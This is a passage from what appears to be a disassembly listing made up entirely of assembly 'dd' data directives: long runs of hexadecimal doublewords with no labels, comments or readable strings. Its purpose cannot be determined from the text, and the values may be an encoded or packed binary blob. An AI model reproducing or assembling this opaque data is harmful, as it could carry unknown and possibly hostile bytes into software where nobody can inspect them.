		dd 281F6FCDh, 5289FEF5h, 0ED746B2h, 0FEDD094Ch,	4B2EC82Fh
		dd 0E891A55Fh, 0A1633ECh, 827441B2h, 4840B818h,	7925517h
		dd 0E764200h, 96E9F589h, 0BBDBB68Ch, 0A4F9EF96h, 5F1EC307h
		dd 82C8035Ah, 0C12D0296h, 0A083FD58h, 1403AA06h, 1972480Dh
		dd 0B980A54Dh, 9B569C68h, 406212DCh, 8012B4DDh,	0C3E644EBh
		dd 0E4241A7Dh, 60528402h, 9570F8CCh, 4895E26Eh,	80E1F098h
		dd 0F105815Fh, 59C12184h, 1A6004BBh, 800413B4h,	0F0E2748Bh
		dd 2D1BADC0h, 7B27E948h, 0C7A7E810h, 67681302h,	0C42EE25Eh
		dd 3014B1A2h, 3713A91Bh, 6FC5BE2h, 72DA2501h, 2CD40362h
		dd 375C0073h, 9A58FD35h, 0F4EC4011h, 120C0876h,	9994FBE9h
		dd 3F341EF5h, 0C8A47DF3h, 312D81EEh, 2A055237h,	4F0173A0h
		dd 0B209B8F5h, 0A8D9042Ch, 0AF052F5Eh, 0C266498Eh, 48016CB0h
		dd 7E24E557h, 4F0CC0EDh, 0ACA47C5Ah, 0B1403B4Eh, 2F4CE7CEh
		dd 17F6EC17h, 70AF810h,	3B5EF3EBh, 0EF0116F8h, 0E90C6507h
		dd 5E25BB5Ah, 0EA8A9493h, 0CA177631h, 581F3B77h, 52256210h
		dd 4DD02E6Eh, 6E31E959h, 14BF5380h, 214E8A6Dh, 2B4EF97Ch
		dd 9647F96h, 690E3DB6h,	7209E5Eh, 0A4925865h, 0AE2C25BAh
		dd 0E90C29CFh, 0C251DBF2h, 888F6809h, 0C29C77E1h, 0AFBEF8BCh
		dd 492F7B2Ch, 361F612h,	34E7DFAh, 0F937AFCFh, 4865DA7Fh
		dd 90CE01F4h, 0F7E7408Ch, 411550B5h, 0C2E16AC4h, 9A311CFCh
		dd 8E03CB0h, 80965424h,	6FEF2DADh, 0A6B77892h, 4FCB116Dh
		dd 0A5590666h, 0EB027F6Dh, 0C3C2EDFh, 7AC7D559h, 5022E90Bh
		dd 0E8203B62h, 9689A3ACh, 370AF5Ch, 0E14ABB53h,	0C02B7221h
		dd 0E9F02996h, 520A872Dh, 31CD7888h, 0E7CBD063h, 0F8C07008h
		dd 2D05671Fh, 5F833689h, 0BF571590h, 0A310940Dh, 64A02F2Eh
		dd 1AC225A1h, 0CE580EF6h, 0B5E47B6Ah, 86D21F0Ch, 3C3A1D0Ch
		dd 18750E4Bh, 0FA6D9505h, 0DA306B28h, 0E0C0C78h, 0A8035BECh
		dd 0E894606Ch, 0BF49F306h, 0B8E99502h, 685AFE68h, 0F6544720h
		dd 0C8A24F92h, 0BA2D52BCh, 0F2967031h, 0B5E1BDD6h, 91F1AA5Ch
		dd 2DE031B7h, 810BCD55h, 0A82A953Ch, 68550021h,	5B0910D5h
		dd 60EDF75Dh, 2F13B385h, 0B34142C3h, 93F91935h,	20BEF52Eh
		dd 7D134727h, 7084411Ah, 0E23652EAh, 72F527F6h,	7FC14C8Ah
		dd 0BDE3804Ah, 532F5B13h, 0E430F23Ah, 7D5B9AFh,	29640963h
		dd 696827B0h, 4731184Ah, 2803E371h, 1AF1C2A4h, 0F8814404h
		dd 0F3E8CBFEh, 2E96837h, 0E8C8A7B2h, 56120F7Eh,	34FE5E65h
		dd 996C212h, 61A4B57Ah
		dd 974AB6F6h, 0E990FCE2h, 0C413B25Fh, 2DA913E9h, 1AD9F100h
		dd 0BD550F49h, 0EB6B81Dh, 0ACF7E9C4h, 859B45BAh, 30B30353h
		dd 0D4995BDAh, 0E9E1D85Ah, 102975Bh, 0A92F1868h, 83A7897Dh
		dd 0C8191D16h, 5DE95EF1h, 24505A0Eh, 0B30F5A14h, 0AD7415ADh
		dd 96D83FC1h, 94626766h, 738B5777h, 7D47B257h, 6610D59Eh
		dd 0AE14C83Bh, 0D7818B6Bh, 824B4F32h, 847571E6h, 4A42582Ch
		dd 0B6251740h, 0B951C095h, 4BE22220h, 248DF109h, 0BB05BC73h
		dd 59CF29C3h, 3A7D413h,	5352BE00h, 0E8E96761h, 7B301941h
		dd 0FD7A0125h, 52D2053Fh, 980230EAh, 0D6966812h, 45B1CB02h
		dd 71C07DF7h, 802DE950h, 5BA944D4h, 2B14A5C6h, 97E1FF3h
		dd 9DCBE9EEh, 8AA09854h, 9A032E09h, 0F3D1001Ch,	913C8030h
		dd 0F180281h, 0C9DE548Eh, 8B26885h, 825EE336h, 5E9EA912h
		dd 59080B1Fh, 5090FE0Fh, 60B05BBh, 8969F407h, 131D136h
		dd 0DC5FCFA2h, 80013189h, 16709412h, 16EE811Eh,	4AA797Ah
		dd 40FC4E0Bh, 0B50749C3h, 0FAA9B01Ch, 1B896170h, 713A1BCAh
		dd 0D8B7EC6Ch, 9E0CC95h, 392467C0h, 766BADC0h, 0ECC8012Fh
		dd 3B584C71h, 0D9F71309h, 1085B180h, 0F5A02533h, 5806F01Ah
		dd 5FF909FBh, 7A62091Eh, 80C21124h, 678C8601h, 3AD730A0h
		dd 0D37FD34Ch, 0E9A150ADh, 4F826C79h, 9248608Bh, 3BF30E10h
		dd 600D2551h, 3814503h,	31D3EBEDh, 0C7AC09A4h, 0CD9D805Bh
		dd 32B2AD6Fh, 9BFDE924h, 1CD9318Bh, 0D27720E4h,	8503E095h
		dd 0E4914B48h, 68065300h, 41566DD1h, 8D35204Ch,	503E0CC9h
		dd 0A8584ED4h, 4BFFA768h, 62F5F423h, 9CF5DCF8h,	0A2564BDBh
		dd 0E7F68430h, 0B934E69Ch, 0EA2B888Ch, 0E641590Eh, 7D360D14h
		dd 0B5202054h, 0F2EF63B7h, 50DAFAB2h, 9D559FEDh, 0BE166FD1h
		dd 8900B7ADh, 0EB055EF5h, 490A624Fh, 72DE829h, 266A6827h
		dd 0DFD99F2Ah, 85FFDCC9h, 997D7C68h, 68C029B8h,	0F44B6262h
		dd 0FA5D44F5h, 340AA83Dh, 50D6924Fh, 61B0274Ch,	3342F25Fh
		dd 890638D0h, 695B04CCh, 3410CEAFh, 920B4352h, 507B64C1h
		dd 5C23A451h, 0E394B5ACh, 8D7B9A16h, 7352E4F0h,	0DEC109ABh
		dd 50A2747Ah, 301DB409h, 0CD96DDE6h, 8A275490h,	0C6B62126h
		dd 0B43AC879h, 92256836h, 2AB4182Dh, 0A43C7223h, 0E7C2B75Eh
		dd 51E4827Fh, 0C60809D9h, 89B818EFh, 2D5FD829h,	4321F4D5h
		dd 0B32A06CBh, 0EA8004D2h, 0FBD309Dh, 6B68B14Fh, 60D25EE3h
		dd 569D68DEh, 132DE697h, 0AD7DE9E2h, 45F01316h,	34128CB3h
		dd 0AAE32Dh, 180F465Ch,	4AD9E94Fh, 4A3CCA95h, 0F84AF9ECh
		dd 5D5CA2AAh, 510924C6h, 0FD658168h, 2E888CB0h,	16B4084Ch
		dd 0ABDD6E8Dh, 9E1E802h, 7FFB8549h, 8649D50Bh, 4EDABD96h
		dd 0C97FF11Dh, 80F170E9h, 2C218C41h, 69842423h,	0E5C102E7h
		dd 5BBCE305h, 64AF00Ah,	0DDBE6517h, 0FEE99202h,	8902D9F8h
		dd 87125455h, 0DFE0F12Bh, 0DD5D86E9h, 0E5810079h, 26562B48h
		dd 585ED84Dh, 0AB27D2C0h, 474D1DBh, 82C8310Ah, 1E8E4B33h
		dd 0BEA063C5h, 98F0D529h, 0B8BECF1Fh, 0F816BB32h, 8DF24FFh
		dd 0E8250D8Bh, 0BFAF93DFh, 0C12AE630h, 40021EB9h, 0C01DA81Eh
		dd 2527C84Fh, 0EDD0028Ah, 9C85B327h, 25CFFD8Ch,	0CED84A11h
		dd 1122F41Fh, 73D408A0h, 0EC000ABDh, 3144C7CDh,	97D2C9D3h
		dd 0BB1C9258h, 4DDE2765h, 0E6E4EC8Bh, 13E52EB7h, 7D4F414Ch
		dd 0F16360DCh, 1235AC09h, 0EC53D01Eh, 0F20B04C7h, 0AA2EE91Dh
		dd 0B4680547h, 138CEDBAh, 19CEC1A1h, 0BA9F3F18h, 0F10B4038h
		dd 1A1EEABFh, 96F92D2Ah, 0AC0A65F4h, 59120705h,	0E1EDB493h
		dd 5FD98D2Ch, 85C9CA7Eh, 1DE4D25Ch, 20C341B4h, 0A29D1FECh
		dd 0E8C6895Ch, 4E21581Ch, 0BF5834D8h, 0A048BBCAh, 0AB2CFA96h
		dd 0FB208401h, 45665A14h, 3757914Fh, 0FABBC1DBh, 0C383D013h
		dd 0EFE90112h, 0B26EBFA1h, 90219249h, 2397667Bh, 70CF5B9h
		dd 1A83D292h, 0A858A17Fh, 489CCFEh, 77DB252h, 0CAA008D2h
		dd 0BDFA4AE9h, 0C30E262Eh, 0FBE26887h, 0D8B58448h, 0E92836C2h
		dd 8B22776Bh, 8FFD5BDEh, 3D75E3F9h, 84F6B00Eh, 9E0D3E7Ah
		dd 3C15C50Fh, 0F5016FE2h, 908D088h, 0A1202FE9h,	0C780D7F6h
		dd 67CFCCE9h, 0C44BB4B0h, 7EB63BC8h, 27D67CDAh,	0AB5EE7DFh
		dd 26CF62h, 6806E3C1h, 6BF3AB5Ah, 43D8805Fh, 3CED276Ch
		dd 4570094Ch, 0B68B84E8h, 0F1804AD0h, 0E4BAFCF2h, 6D0439ACh
		dd 1D28AB12h, 9EF23724h, 0CE060EF6h, 7832B2D7h,	7F6BB52Ch
		dd 0D3545078h, 0F58AE1AEh, 0B8B3F3Ch, 2D9DF68h,	77466C23h
		dd 24036E55h, 1B804908h, 0D8401E6Fh, 954FE4D5h,	68E166FDh
		dd 846E2D18h, 31C8CAFh,	92C5BF8h, 74BC1AD1h, 0CD4A2974h
		dd 6CECC2B1h, 5D16C9F1h, 0C6683131h, 5D1F1A57h,	6F29AD69h
		dd 37E008CDh, 0D210CB65h, 77BE2448h, 529793A6h,	521F9CB1h
		dd 41DE2C60h, 0BE70CA01h, 0CC6E268Eh, 0DDB12Ah,	0F3153492h
		dd 69BB009Dh, 3C0C8C0Fh, 0EE28CE29h, 0D3B99008h, 0C921FFE9h
		dd 0C212B6A6h, 92BDEB74h, 14B564E3h, 5A30F22Eh,	56389Ch
		dd 1B2A9EBEh, 97D9B905h, 0E92F5E0Bh, 0A0BCD89Fh, 1F34CE7Dh
		dd 1531756Fh, 0B04B879Dh, 4D3D336h, 0C97F7D80h,	808B4E1Fh
		dd 42062DACh, 89103A2Fh, 29F848Eh, 0A1E95742h, 3C9AFA78h
		dd 0CABDCCF0h, 17C7470h, 0F218E4EBh, 1DBFF833h,	0D4A59FB6h
		dd 0DAC340D6h, 7450847Dh, 123C3BACh, 0C895CBEh,	0BAF3D814h
		dd 2BC02C3h, 0D6E92556h, 89752DEAh, 0D3332F39h,	0E64E37B8h
		dd 0B8525BCEh, 0A4F864AFh, 7B95020Fh, 0A84E8879h, 6252D12Fh
		dd 21F48D0Fh, 84B11E8h,	5E302917h, 5C626FE1h, 0C227C452h
		dd 123CCF79h, 26A28250h, 9C412678h, 80DA892Eh, 6E538FF5h
		dd 0ED10FC8h, 45AA2C1h,	0C1F44234h, 58766A19h, 5162772Dh
		dd 97DA9E75h, 0B2F71010h, 0F22D36BBh, 8D0A2DAAh, 0B9BF6967h
		dd 0D3A55818h, 7B23B804h, 0BA55A498h, 0A289B70Eh, 0F80B1DFCh
		dd 865194h, 0CB80F9B3h,	3B8F685h, 0F46B7E20h, 3B317DCEh
		dd 5B7E34C6h, 0A42AA033h, 5864079Dh, 0F50E3E62h, 5DBAC79Ch
		dd 1950505h, 93C277C4h,	0D1D2096Eh, 6672921Ch, 3388F467h
		dd 0E82608A2h, 35123C54h, 57F99B02h, 0CE696041h, 476512F0h
		dd 0EE3A0079h, 49BA7823h, 1871D89Dh, 0B9A670E9h, 3005E2C4h
		dd 0C22C58E3h, 7D74D0FCh, 46C3245Bh, 0CF252475h, 0B2797204h
		dd 69BD4B12h, 0E1F75CB0h, 0EF20DBB8h, 4C2D5BE5h, 87505E96h
		dd 64259490h, 20125878h, 5C5A7A44h, 0B7EEA6D8h,	0A2BD1216h
		dd 5EEEB350h, 9B9562F1h, 58C20101h, 0BB0DC53Eh,	14331406h
		dd 0BD0F7023h, 6665CBF1h, 628D2B04h, 0E8E38100h, 5776C576h
		dd 346ACB01h, 48E92EDEh, 0B6505824h, 0E9755ACBh, 0C3C561Ah
		dd 508BED5Eh, 8F9AAA05h, 0D8C1FF8Bh, 10326ED7h,	4ADCFC52h
		dd 7CCE05CDh, 0D3168207h, 31960160h, 0E9273078h, 0BB5340D4h
		dd 1D3E2793h, 5F1D1EF4h, 3C48B14Ch, 24070079h, 6E0CBDBCh
		dd 310577AFh, 0ED7FE9DDh, 5DFFCA53h, 5FD44059h,	315D5263h
		dd 0A5E9C339h, 68FC96Ah, 17351620h, 0B8E38853h,	202758C7h
		dd 6B52F8DBh, 0DF2F8025h, 0B4DEB9A9h, 0D1C2B66Dh, 20620A9h
		dd 2989C101h, 0D1525D59h, 6C8DE52Fh, 9EABF4E2h,	215D0535h
		dd 5AEE8BF8h, 0FC5AAEACh, 289A185Dh, 0D7875437h, 6925FDE5h
		dd 0D2A4983Ah, 8E558285h, 71C86922h, 0E809481Eh, 52362E8Eh
		dd 12FF9C55h, 61A51BE9h
		dd 199CEA0h, 8540E589h,	0A0BC0F43h, 171AE1F4h, 0E2D4A57h
		dd 0C306D03Fh, 0BF3F0C1Bh, 0A540A462h, 0BA4A8422h, 0C14E94F9h
		dd 5BC5368h, 0BDEE1D0Ah, 0ABEF688Bh, 931904CDh,	6121CC1Fh
		dd 0F439880Ah, 92E5BA51h, 4C1F59EFh, 800DE7D0h,	553666C5h
		dd 4275BE4Ch, 0A4C840BAh, 16DAA60h, 0C407446h, 1D9BD5Eh
		dd 0BF7F1469h, 0E49FA81Eh, 80642054h, 48E67ABDh, 273E2935h
		dd 41AA42A6h, 0C5647CC2h, 1B0C8033h, 31E11C1Eh,	4AE976D1h
		dd 97EAE2BFh, 65BA1E34h, 2313FFDBh, 76688220h, 0A37EE157h
		dd 24AA93F2h, 0BC8EBA60h, 1D606910h, 3589C1BEh,	6D3EDE3Fh
		dd 42807FE2h, 48C132A6h, 0AA209DBBh, 40733505h,	0CD163E2Eh
		dd 5A58CF80h, 0E090B730h, 2C0EEAB2h, 0DB0401h, 0E95153D0h
		dd 50F1C20Bh, 8EDDB1B4h, 59007297h, 0F480DCF6h,	564EB079h
		dd 0B009ABAEh, 210265A6h, 9A3D8h, 37D40426h, 0C0537703h
		dd 712DFAAEh, 4D905964h, 0A75B0781h, 2D7752C4h,	5E0915E9h
		dd 0E708CFD6h, 0D40005Fh, 37DC5BABh, 4F3C9690h,	5C0A2F31h
		dd 12E0C968h, 0AE9E1258h, 50B25744h, 0FED6ED7Dh, 7D8E82F4h
		dd 476046A2h, 0D19D1D73h, 96C34340h, 0A040BE82h, 7582EC25h
		dd 123FE645h, 64EDF556h, 1F721FC4h, 0D0C585DAh,	68ADFA6Dh
		dd 8B92F94h, 52387341h,	316D30FCh, 5D5822BFh, 8006AC10h
		dd 8C1ED034h, 51F4F254h, 8843B50Fh, 0C59244ECh,	3029D9BEh
		dd 2D808FB9h, 3D091227h, 0B005E82Ah, 9FF406C9h,	5525D2C0h
		dd 9B6B7728h, 0F387C435h, 0A85E93ACh, 6E169EF4h, 0AC79AB97h
		dd 5ACA281Ah, 0F3A9AC59h, 56EBDDE9h, 4FEAB886h,	3A2DA1F2h
		dd 0DAE2E748h, 21BE5C19h, 0D8D08072h, 814A4A18h, 6BFD7134h
		dd 0E84259C4h, 0C1028F64h, 55005E66h, 723A6866h, 0B5D3B1Fh
		dd 84945FB9h, 28CBE97Dh, 31C1EE7Ch, 2E0B317Bh, 0F057E97Fh
		dd 40D6FEBFh, 791333E8h, 26E0B96Dh, 2F0312EAh, 0F175831Ah
		dd 0BB9EDE9Ch, 2A5C07F3h, 0ED816F10h, 6A0C6802h, 80FCD94h
		dd 4322645Bh, 93FF31FBh, 405402E1h, 0B3C08850h,	0DE933CE9h
		dd 8405F982h, 7D440BA1h, 4A420080h, 17EBCA81h, 5030C90Fh
		dd 99049BF3h, 87409461h, 7E5B2D6h, 0D43DA3C8h, 20B1094Eh
		dd 5F317264h, 0E072A8D0h, 97A6C1E9h, 8183EB9h, 2DC0A814h
		dd 5F351251h, 0D8B4E121h, 7213F524h, 0A140509Fh, 15E10A6Eh
		dd 0A3EFF05Fh, 78E61307h, 0F039BF13h, 0D25DE4F8h, 80B8CD60h
		dd 0C514710Ch, 0A8C821CEh, 32505998h, 5E2557E9h, 0A4BF7845h
		dd 0FCA7B036h, 2C133C66h, 3B5FC9ECh, 207F0736h,	0BD7447h
		dd 0CE3EF1Ch, 511F4896h, 513B2002h, 8855291Bh, 5F120800h
		dd 2AF51620h, 0C6605049h, 0DC5C15D6h, 0A24BB80Ch, 8491C47Eh
		dd 8B68AD01h, 0A7CC2B58h, 0CC839D6Fh, 0BEA8CA0Dh, 0A7072556h
		dd 2D383F52h, 80E05AA0h, 30E24DE9h, 0F6E0174Ch,	49132898h
		dd 0B1C45669h, 0EBAF95FFh, 0A33CFB21h, 85B0905h, 0EA9B780h
		dd 3FFC6E43h, 0FFB4924Bh, 55C94967h, 4128FE96h,	3FE12D68h
		dd 7D6F70B1h, 0C4B0120Ch, 76A5551Dh, 0F085DA79h, 5B41A8D5h
		dd 6BA4B935h, 3F11412Fh, 0E4D54FB0h, 2F597CE8h,	6E5215F8h
		dd 15D99020h, 0B5366C68h, 0B401F52Dh, 3008E1C1h, 23008DB1h
		dd 35402FB3h, 0E81056D7h, 2DC79083h, 3F055DE9h,	61F88052h
		dd 18123A02h, 298AFA89h, 517FD4Ah, 0E7C5FD9Ah, 5AC6E8C8h
		dd 0D913BD64h, 1697BEC0h, 0A4A49731h, 2512BB38h, 4BD85AB7h
		dd 669D9768h, 2454509Ch, 2DE5A855h, 138000Ah, 47112570h
		dd 51E527Eh, 0E6C02F65h, 60E9C289h, 5144A0ADh, 1C90B050h
		dd 890D585Dh, 1753C189h, 66BBBA0Eh, 16EE5DB7h, 926CF4E9h
		dd 0AC10783h, 0AC0004AAh, 6ADB2952h, 2E710B35h,	5A784C9Eh
		dd 405ED14Dh, 0BF407ED1h, 0BFDD6189h, 3E502E68h, 654B7F8Fh
		dd 77D48217h, 5BCEA50Eh, 0DB8A27AFh, 0CB54376h,	5B4F49BAh
		dd 2D6387DEh, 0D648815h, 0A7BB0053h, 812F8626h,	40034FE3h
		dd 0DAE93B4Dh, 0EBE113AEh, 7FF70106h, 687D5AC7h, 2E7A0718h
		dd 0EBD0742Ch, 91176C0h, 0D5C8E942h, 5D0F4FF2h,	6B4F0A5Ah
		dd 0EB2591A6h, 48DC3082h, 0A8F44745h, 7014556Bh, 0C6BD9B98h
		dd 0E95A6713h, 0EBC56255h, 2A326EFAh, 75C675BCh, 0DA51A210h
		dd 0C14698B5h, 4D0C7CE8h, 0B95F3833h, 17BAD7C1h, 0C229AEE1h
		dd 95F5C960h, 4F35F146h, 27EFCF8Eh, 0F10AB54Ch,	0C96C28EAh
		dd 41B88829h, 44B06825h, 5E23224Eh, 0AD9EE977h,	6DBD8422h
		dd 8AE90562h, 0C19DD0B1h, 12FA5B58h, 0AC0802B7h, 35762B28h
		dd 17C4408h, 7B08CABAh,	0E7966019h, 0FE56772Ch,	904E21Dh
		dd 0DE8858FCh, 83F619B5h, 7BC190A7h, 8E070499h,	32CEE10Eh
		dd 616C7BE9h, 133B680Ch, 0A34AEE9Bh, 0B98589F3h, 0FF081628h
		dd 0E5D2641h, 0FAC5017Fh, 6B2D96Ah, 2909260Dh, 0D45A7E6Ah
		dd 9808A0B0h, 324ABDh, 9B7BD8B1h, 35515842h, 0D1D97A06h
		dd 342E6CD5h, 19581A5h,	0B85D7EA7h, 0D14585D3h,	4BBD6F6h
		dd 0C9E84839h, 0A03D41DAh, 83D805A8h, 0F8F15BF6h, 7FF4C56Bh
		dd 19A746F5h, 0FC08BAF9h, 0B2BD0259h, 4540EA48h, 4807881h
		dd 74D0E08Ah, 69DCF62Ch, 51D116ECh, 96E9DD93h, 0D3E9FDC1h
		dd 0B2480310h, 0BA95C819h, 0C7510006h, 0C2F28169h, 7EF518A2h
		dd 0E4719EF1h, 5BD4CB6Eh, 0A684B5EDh, 7E488D59h, 0E98496B3h
		dd 5E12A0FBh, 0BBD6F2EDh, 0FB02562Dh, 1AF0485h,	0ED8101C4h
		dd 0B1F8DE16h, 5DE81A09h, 14DDD653h, 4F29847Dh,	0CE762657h
		dd 6E04CCFAh, 0FB0119EFh, 81F2FC4h, 0A3F293EDh,	5032760Dh
		dd 40CD7409h, 30E15AE1h, 6D5D47CFh, 9D92DE23h, 8EC28650h
		dd 58CA5E50h, 281B7CEh,	2979981Ah, 0B40E1F3Bh, 0CFCFAB3Ch
		dd 19401558h, 0D4E92A5Fh, 0F7431785h, 8E5AB9D3h, 1ACC81A4h
		dd 0A99745E9h, 0BFC188BBh, 0F639A709h, 0DEBCD006h, 99428E5Ah
		dd 1A042456h, 170F0C08h, 0D0DD1665h, 5BE305B8h,	959F8379h
		dd 20A62A2Ch, 29048828h, 794D68F3h, 1F96F498h, 0D549AD53h
		dd 5EC97ECBh, 99D5DC82h, 0E4EFF60Bh, 0E9709853h, 2697C9F0h
		dd 22E56B6h, 816CC021h,	934226EEh, 9AAB3C82h, 4EA7BA00h
		dd 7B084828h, 0C20DA334h, 0BF00F5D2h, 16635E03h, 0E7C141h
		dd 0FEAC78Dh, 6095F4E5h, 0F76EE959h, 0BDDD202Ah, 3C7149D6h
		dd 0E25BF8A3h, 5194F741h, 9D605F81h, 5ACB1765h,	13F6B8FDh
		dd 1E0BC501h, 49135685h, 0A650D489h, 0B4C95C5Fh, 940DEDECh
		dd 0A1EC6475h, 0D2E22FE1h, 0E14283B2h, 0E8C28FDEh, 8F5D09EDh
		dd 10DB0560h, 0AB41ADA5h, 5200A98Dh, 0C2F0CBB2h, 37F9FD4Bh
		dd 1DB951C0h, 50B5EA5Fh, 15839E23h, 52D915Eh, 0E801DEC8h
		dd 7FE72490h, 9F89834h,	15038D9Fh, 0E4C9557Fh, 8F505FE3h
		dd 0EFD675EFh, 0C08D2CFAh, 0EB755D4Eh, 0C6C850AEh, 0DD720B12h
		dd 0C475CACCh, 5D4769FCh, 0D6272A56h, 0BAFD3DE0h, 0F7315412h
		dd 3AB341EAh, 0F1E8DD13h, 0EBFD084h, 71F5C551h,	12662CC8h
		dd 586E1Bh, 174D301h, 0B72EE96Ah, 0BB600DE2h, 90D2466Dh
		dd 8BAB20B3h, 9E5A13A2h, 52DEE0BFh, 59EFB5F8h, 0EB685F04h
		dd 5069CEAAh, 2770F35Dh, 0DBA5094Fh, 575E0802h,	0F9E12823h
		dd 5EE9976h, 0D4C32B9Fh, 9EE1CFEh, 0A6060734h, 42B50DEAh
		dd 10CAD397h, 959019D1h, 9C42E03Fh, 202CD2BDh, 709D864Bh
		dd 36B20483h, 83526C85h, 0E55A90A6h, 4A517E01h,	0A2F41884h
		dd 0F3ADB2BBh, 0BA256DDDh
		dd 882D3679h, 0E2D1A260h, 0F4C5F0B5h, 5DB2AA67h, 680436CFh
		dd 179132EAh, 322E98CAh, 27C75C2h, 5EEA5627h, 5A2770BFh
		dd 4652C20Bh, 48BA68FDh, 1F59203Ch, 0DAA90A04h,	438109E5h
		dd 0B255BDE9h, 828B2885h, 7065A7Ah, 63E7BB20h, 7ED1D70Bh
		dd 51376982h, 0D0BF20C4h, 1B043BF7h, 0D4BF5AE9h, 0CBA3C5AEh
		dd 0FDE90991h, 522C7CF2h, 0CB407FD4h, 7B9F42A1h, 0D102514h
		dd 0AF428D79h, 87290455h, 0C7A83998h, 7EA73D81h, 0E0F58B12h
		dd 1B75F5A0h, 0A658517Ah, 842880DCh, 15BBB0Dh, 12CD42B4h
		dd 6DF2022h, 0C5DB4EBCh, 8B9FBB5h, 873019B3h, 3A14212Dh
		dd 0A0B968D5h, 0D82D1BAh, 75A46D59h, 6A30777Ch,	0B0162F71h
		dd 4BF60403h, 8047D979h, 0CF5E99CFh, 4E264159h,	5E9777B0h
		dd 6B649DB1h, 0A9875D04h, 296677AAh, 3B446754h,	8D5F73ECh
		dd 7E37A5Fh, 5B580476h,	0F906C6E9h, 92FED191h, 0B9CBB08h
		dd 54745B56h, 28086C2h,	5D64315Ch, 4454EA2Fh, 358C7E50h
		dd 0A80F649Fh, 64AD9F4Ah, 0C0589057h, 0C104AC35h, 0FB03B353h
		dd 0F380DBF6h, 39063B5Ch, 1761E318h, 77B8D7EBh,	3C045B19h
		dd 68D02C0Ah, 0C8614B62h, 0C90BB29Eh, 66AEDEE9h, 8805BEF2h
		dd 1724A449h, 9368209h,	394C748Ch, 4468C384h, 0C061FC1Bh
		dd 768D6B59h, 8B2D0058h, 5136726h, 27482B3Eh, 0E4FB1074h
		dd 2C26404Ch, 0D5F9473Fh, 9A04219h, 0BFC859CDh,	544E9630h
		dd 5FCBA7C7h, 0CD80C732h, 1BB33A63h, 6759B7h, 6EF5E271h
		dd 6898F831h, 0ED5CE540h, 689FA1E6h, 0E77A5912h, 72AA4A1Ch
		dd 0D8E973DCh, 8B162F5Eh, 0A0A4F7E8h, 6637640Dh, 630DDC89h
		dd 4CACE32Eh, 4A0C20CFh, 0B93521BAh, 97BB2DC3h,	0B62FE1A5h
		dd 4A680C3Dh, 56F03546h, 0CB4CD16Bh, 4860C04Eh,	40B5E0C1h
		dd 9F9D13DAh, 444681A0h, 0DAB52C33h, 17088347h,	0AC146F1Ch
		dd 0CB93272Ah, 91DDB4A4h, 0B5D6DDF8h, 0ADB881AEh, 310B665Ch
		dd 1B70FC3h, 6BE468A7h,	7D10212Eh, 0A6F71053h, 0F0AB4A09h
		dd 3216486Ch, 20013FF0h, 7310B976h, 5F86C17Fh, 78B015B4h
		dd 0EB43D25Ch, 7C82FE69h, 229968C8h, 16D68FA2h,	20923266h
		dd 9D4D78B5h, 791D3969h, 5BA0E8Ch, 0FF218B67h, 702ECA99h
		dd 0F340A19Eh, 6A2B0B2Dh, 0F006BDC5h, 7AB51590h, 4E78F47Ch
		dd 0A272E89Eh, 82275FEh, 0A5C652FAh, 1AC72027h,	0ECD0414Ch
		dd 208FC92Fh, 0F2825ECDh, 175C4F2Bh, 0A049F852h, 0A8FC5BE9h
		dd 0DDD30198h, 0E8D813C0h, 0C0F38B34h, 39E6C0A0h, 0CD818005h
		dd 0F638B450h, 0CEECE0D4h, 515D0197h, 0C3DAF4B1h, 0D5C1E15Ah
		dd 91AC6CD4h, 49CB0221h, 0A121D6Dh, 0FCC9C408h,	92087A49h
		dd 58F79B82h, 57037ADAh, 0C36FF0BFh, 8A2CB803h,	0C3C85DA4h
		dd 3B2679A3h, 0A4000029h, 2D4E6576h, 0A82502E7h, 9C12E945h
		dd 9504B6E4h, 314F1150h, 642213FFh, 28E8F376h, 5A611535h
		dd 0F18EB38h, 16896864h, 4051D077h, 7C31EEFCh, 10C27184h
		dd 560C58E9h, 157983CEh, 0EDB034D4h, 0F92D3729h, 82687487h
		dd 3C530B96h, 720EDDCh,	5AC85D48h, 0B9F5F2B8h, 78ECCB8Bh
		dd 0E2C11E31h, 0CD4A0906h, 0CAFE9C49h, 0A5946348h, 0FD2BBFh
		dd 32AE2EBh, 8350DD2Eh,	65F6A66h, 0CA52F0E7h, 4BEAA6Fh
		dd 1FE4C388h, 6951A788h, 341D1A24h, 74C395E0h, 5FAC1218h
		dd 253FF3B7h, 0D9F82378h, 0C43FE141h, 29E40331h, 0C1B31C15h
		dd 63E905C8h, 0F223A862h, 0C494725Eh, 0A4DC307Eh, 0B840F726h
		dd 0AEC6D85Bh, 741D67F2h, 0CA816EBCh, 522E1D99h, 0CF1189Ch
		dd 48D232E1h, 4D17DFF8h, 0FD09D001h, 32BBF789h,	261408D4h
		dd 856840E6h, 0A4E4B58h, 0A77CF8C0h, 89F504B4h,	0B80EE9D8h
		dd 9EBF01EDh, 4F2D3353h, 45A1D03Ah, 7294EC64h, 0B4BF310h
		dd 6AB166Ch, 5EA29B55h,	0D27FC4FCh, 0B7A97467h,	5C82848Fh
		dd 0AC844D6Ah, 0A631BE79h, 6800FEF1h, 0E114647Eh, 4CA65F4Ah
		dd 1C98606Fh, 30E973D5h, 0C0A7DA41h, 20E51D09h,	0DC2BCC7h
		dd 546FE768h, 0AFFB6402h, 3CFEF913h, 684B4BF5h,	1216718Ch
		dd 0FE88301Dh, 3AC0912h, 15498CD6h, 0D9CC734Bh,	366C4182h
		dd 3EE97B8Ah, 1E8ABBE4h, 8B08C50Ah, 0A36B6E4Eh,	3FB5B6B9h
		dd 981880B6h, 0B9F3657Ah, 0CC7BD9B6h, 4AEAC264h, 7605B3ABh
		dd 0A902AE32h, 0C1506696h, 2363E0BCh, 8B468A24h, 9CD74C88h
		dd 0CA860DDCh, 0DA08D1F6h, 5017B568h, 0F942DD82h, 85F9C7FFh
		dd 0E8A8C0E9h, 0E24EC410h, 0BCEE2906h, 1C1FC60Bh, 0AA5610h
		dd 23A4465Eh, 0B9BCDBF7h, 0AD3B33Ah, 3062407h, 0C00A0354h
		dd 3E0268FEh, 5C465826h, 1F08DD01h, 0C9792408h,	0AF291125h
		dd 0F77F77C9h, 75AA964Fh, 0B3D9BFF6h, 0DC6543A8h, 36B40BB8h
		dd 0B332650Fh, 8D3650D7h, 0FD305A8Bh, 6E5CCBCFh, 0D8AF4AD1h
		dd 79B532F7h, 0E9548444h, 3FE2B1E7h, 16A76F1h, 0FEF0EFC8h
		dd 0A493D7C7h, 3058D087h, 5B6566FAh, 0C8F48B32h, 0C5793F84h
		dd 8BA804Eh, 0D0D6F76h,	10440165h, 0C22A5F3h, 0B9CE5758h
